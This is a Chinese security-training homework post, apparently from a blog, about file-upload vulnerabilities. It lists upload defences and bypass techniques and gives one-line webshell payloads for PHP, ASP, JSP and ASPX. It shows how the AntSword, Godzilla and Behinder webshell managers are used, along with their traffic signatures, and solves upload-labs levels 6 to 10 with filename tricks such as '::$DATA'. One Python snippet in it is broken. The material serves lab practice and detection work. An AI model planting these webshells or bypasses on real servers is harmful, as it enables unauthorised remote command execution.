实训作业day07

一、文件上传防御手段及绕过手段

1.防御手段

  • js前端校验文件类型

    • 绕过:
      • 利用谷歌游览器设置里禁用js。

      • 删掉前端的js源代码。

      • 通过brupsuite等代理工具:修改文件类型,通过js前端校验后把改回类型再上传。

  • 校验上传文件类型

    • 文件头检测

      • 绕过:
        1. 在木马内容的前面插入对应的文件头内容(如GIF89a)。

        2. 在可上传的文件中插入木马代码,然后修改后缀。

    • 文件加载检测

      • 绕过:
        1. 分片上传:将大文件分割成小块上传,然后在服务器端重新合并,绕过单次上传大小限制。

        2. 修改请求:通过工具修改请求头或数据流来伪造文件大小。

  • 校验上传文件路径

    • 绕过:
      • 路径注入:通过利用相对路径。

      • Unicode编码:使用Unicode编码绕过路径过滤,例如 …%2F…%2F。

  • 校验请求头content-type字段

    • 绕过:
      • 通过brup代理工具抓包修改提交http头部的content-type字段信息。

      • 使用挂马图片(mime限制的文件类型挂马)等。

  • 文件上传后存储到存储桶中

    • 绕过:
      • 请求伪造:通过伪造存储桶的访问请求,利用漏洞或未配置的安全策略访问文件。

      • 利用策略漏洞:如果存储桶的策略配置不正确,例如允许跨域访问或不限制请求来源,攻击者可以通过这些策略绕过限制。

  • 文件上传后以时间戳方式重写文件名

    • 绕过:
      • 绕过重命名:通过使用文件夹结构中的文件“夹”,如 folder%2Ffilename。

      • 利用符号链接:通过符号链接或硬链接使上传文件指向其他文件。

  • 设置可执行目录白名单

    • 绕过:使用…/…/穿越到可执行目录。

2.绕过手段

  • 大/双写文件名绕过
  • 恶意文件内容以多段拼凑/拆解的形式组合
  • 目录穿越到可执行目录
  • 修改MIME类型
  • 大小写绕过
  • 图片木马
  • 文件包含绕过
  • 文件竞争绕过
  • 修改文件后缀名
  • filename换行、多等号、无双引号或单引号;多个filename
  • windows上文件名+“::$DATA”能绕过检查后缀名
  • 二次渲染

二、文件上传常用一句话木马

  • php

    <?php @eval($_POST['cmd']);?>
    <?php assert($_POST['cmd']);?>
    
  • ASP

    <%eval request("cmd")%>
    <%exexute(request("cmd"))%>
    
  • JSP

    <%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
    
  • ASPX

    <%@ Page Language="Jscript"%>
    <%eval(Request.Item["pass"],"unsafe");%>
    

三、webshell管理工具的使用方法

搭建ipload-labs靶场(工具使用以pass-01为例)

  • 将upload-labs-master压缩包在phpstudy的www目录下解压,修改文件夹名为“upload-labs”。
    在这里插入图片描述
  • 浏览器输入“localhost/upload-labs”即可打开。
    在这里插入图片描述

中国蚁剑

  • 使用:

    • 将一句话木马改为图片(jpg)格式。
      在这里插入图片描述

    • 上传后查看burpsuite抓到的包。把filename中文件的格式改回“php”,点击“Forward”。
      在这里插入图片描述

    • 文件上传成功,在文件处右键“在新标签页中打开图片”。
      在这里插入图片描述

    • 木马已经成功上传服务器。
      在这里插入图片描述

    • 打开中国蚁剑,在默认设置里勾选上“忽略HTTPS证书”。
      在这里插入图片描述

    • 点击“添加数据”,填好配置后测试连接。
      在这里插入图片描述

    • 在虚拟终端上输入任意命令。
      在这里插入图片描述

    • 代理设置中填上代理服务器和端口,保存后使用burpsuite抓包。在这里插入图片描述

    • 发送给编码器后,使用base64解码。
      在这里插入图片描述
      在这里插入图片描述

  • 流量特征:

    • 中国蚁剑支持自定义加密,但shel1不稳定,且对JSP兼容性比较差。
    • 特征码为:data:(“display_errors” AND “set_time_limit(0)”) agent;"antSword/v2.0’。
    • 使用URL加密。
    • User-Agent的值为antsword字段。
    • 请求中存在eval,可能出现拼接或者大小写情况。
    • 请求体中存在@ini_set (url解密)。
    • 参数中大量存在 0X字段(弱特征)。

哥斯拉

  • 使用:

    • 在安装目录打开cmd,输入命令“java -jar godzilla.jia”开启哥斯拉。
      在这里插入图片描述

    • 在“管理”点击“生成”,设置好密码和有效载荷后点击“生成”生成木马test.php。
      在这里插入图片描述

    • 选择木马的存储路径,这里选择phpstudy的www目录下。
      在这里插入图片描述

    • 点击“target”,设置参数后测试连接。
      在这里插入图片描述

    • 测试成功后点击“添加”。
      在这里插入图片描述

    • 在生成的数据行右键“进入”。
      在这里插入图片描述

    • 使用burpsuite抓包。
      在这里插入图片描述

  • 流量特征:

    • 基于流量、HTTP全加密的webshel1工具,看不出有明显的攻击特征,需要结合流量找到哥斯拉webshel1上传成功的流量来进行分析和判断,另外该工具自带了一些插
      件模块,实现了写无文件 WebShell 等强大的功能,可以伪造UA头和Accept头,消除请求包和响应包中的特征;。
    • Cookie中有一个非常关键的特征,最后会有个分
      号。
    • 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。
    • 整个响应包的结构体征为: md5前十六位+base64+md5后十六位。
    • Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp/;g=0.8 (固定的)。
    • 哥斯拉会建立三次tcp连接(强特征)。

冰蝎

  • 使用:

    • 在安装目录打开cmd,输入命令“java -jar Behider.jia”开启冰蝎。
      在这里插入图片描述

    • 将冰蝎自带的shell.php文件复制到“E:\homework\xinyue\phpstudy\phpstudy_pro\WWW”目录下。
      在这里插入图片描述

    • 新增shell中的密码是“rebeyond”,点击”保存“。
      在这里插入图片描述

    • 双击shell连接成功后可看到php版本界面。
      在这里插入图片描述

    • 在”命令执行“执行任意命令。
      在这里插入图片描述

    • 设置代理为”启用“,点击”保存“。
      在这里插入图片描述

    • 使用burpsuite抓包。
      在这里插入图片描述

  • 流量特征:

    • 不同版本的冰竭流量特征会有区别:

      • 3.0流量动态AES加密,一般http包头中content-type为application/octet-stream。

      • 4.0流量动态AES加密,一般http包头中content-type为application/x-www-form-urlencoded。

    • 使用长连接,默认情况下,请求头和响应头里会带有Connection: Keep-Alive。

    • 连接的端口,每次连接使用本地端口在49700左右(就是比较大的端口)。

    • Accept:字段中存在 application/json,text/javascript,/;q=0.01。

    • UA头是冰蝎内置的,有规律的 (10种内置UA头,随机选择)大量的aes加密(弱特征)。

四、文件上传无回显如何查找webshell地址

方法1:字典爆破

根据经验,文件上传后,文件有时会直接以文件名的形式放在专属的upload目录中,通常是/upload/1.php,有时会加上当前日期,比如/upload/2024-01-01/1.php,或者其他不修改文件的所在目录,可以使用字典去爆破。

方法2:时间戳枚举

在渗透测试过程中,有些文件后,会以上传时间的时间戳为名称来进行重命名,我们需要根据时间戳来命名。通常我们会以响应包中的Date字段为参照时间戳进行枚举。

from datetime import datetime

#从字符串转换
date_str = "2024-09-01 12:00:00"
date_obj = datetime.strptime(date_str, "%Y-%m-%d %H-%M-%S"

也可通过在线的时间戳转换网站进行获取:https://www.beijing-time.org/shijianchuo/

五、文件上传表单的无参/有参情况下构造表单

  • 无参时使用万能表单

    POST /XXXX HTTP/2
    Host:
    Content-Type:multipart/form-data;boudary=----------------------------220024558220537725772788875484
    Content-Length:1632
    
    ----------------------------220024558220537725772788875484
    
    Content-Disposition:form-data; name="file";filename="1.aspx"
    Content-Type:image/png
    
    ----------------------------220024558220537725772788875484
    
  • 有参时:每个参数使用“----------------------------220024558220537725772788875484”分隔开来。

六、upload-labs靶场通关第6-第10关

第六关

  • 防御方法:观察源码,发现pass-06是黑名单检查后缀,并进行了首尾去空。
    在这里插入图片描述

  • 绕过方法:文件名大小写绕过。

  • 通关步骤:

    • 在目录“E:\homework\xinyue\phpstudy\phpstudy_pro\WWW\upload-labs\upload”新建文件test.php。
      在这里插入图片描述

    • 选择该文件上传,单击“上传”。
      在这里插入图片描述

    • 在burpsiute拦截的包修改filename为“test.PHP”,发送。
      在这里插入图片描述

    • 在文件上传的位置右键,点击“在新标签页中打开图片”即可查看。
      在这里插入图片描述
      在这里插入图片描述

第七关

  • 防御方法:观察源码,发现pass-07不仅检查后缀,还进行了首尾去空、转换为小写。
    在这里插入图片描述

  • 绕过方法:文件名后加空格绕过。

  • 通关步骤:

    • 选择test.php文件上传,在burpsiute拦截的包修改filename为“test.php ”,发送。
      在这里插入图片描述

    • 在文件上传的位置右键,点击“在新标签页中打开图片”即可查看。
      在这里插入图片描述
      在这里插入图片描述

第八关

  • 防御方法:观察源码,发现pass-08禁止上传所有可解析的后缀,但缺少了deldot函数。
    在这里插入图片描述

  • 绕过方法:文件名后加“.”绕过。

  • 通关步骤:

    • 选择test.php文件上传,在burpsiute拦截的包修改filename为“test.php.”,发送。
      在这里插入图片描述

    • 在文件上传的位置右键,点击“在新标签页中打开图片”即可查看。
      在这里插入图片描述
      在这里插入图片描述

第九关

  • 防御方法:观察源码,发现pass-09禁止上传所有可解析的后缀,但没有过滤“::$$DATA”字符串的str_ireplace函数。
    在这里插入图片描述

  • 绕过方法:文件名后加“::$$DATA”绕过。

  • 通关步骤:

    • 选择test.php文件上传,在burpsiute拦截的包修改filename为“test.php::$$DATA”,发送。
      在这里插入图片描述

    • 在文件上传的位置右键,点击“在新标签页中打开图片”即可查看。
      在这里插入图片描述
      在这里插入图片描述

第十关

  • 防御方法:观察源码,发现pass-10禁只允许上传.jpg|.png|.gif后缀的文件(白名单检测),但没有过滤“::$$DATA”字符串的str_ireplace函数。
    在这里插入图片描述

  • 绕过方法:由于deldot()函数从后向前检测,遇到空格会停止,文件名后加“. . ”绕过。

  • 通关步骤:

    • 选择test.php文件上传,在burpsiute拦截的包修改filename为“test.php. . ”,发送。
      在这里插入图片描述

    • 在文件上传的位置右键,点击“在新标签页中打开图片”即可查看。
      在这里插入图片描述
      在这里插入图片描述

  • 15
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值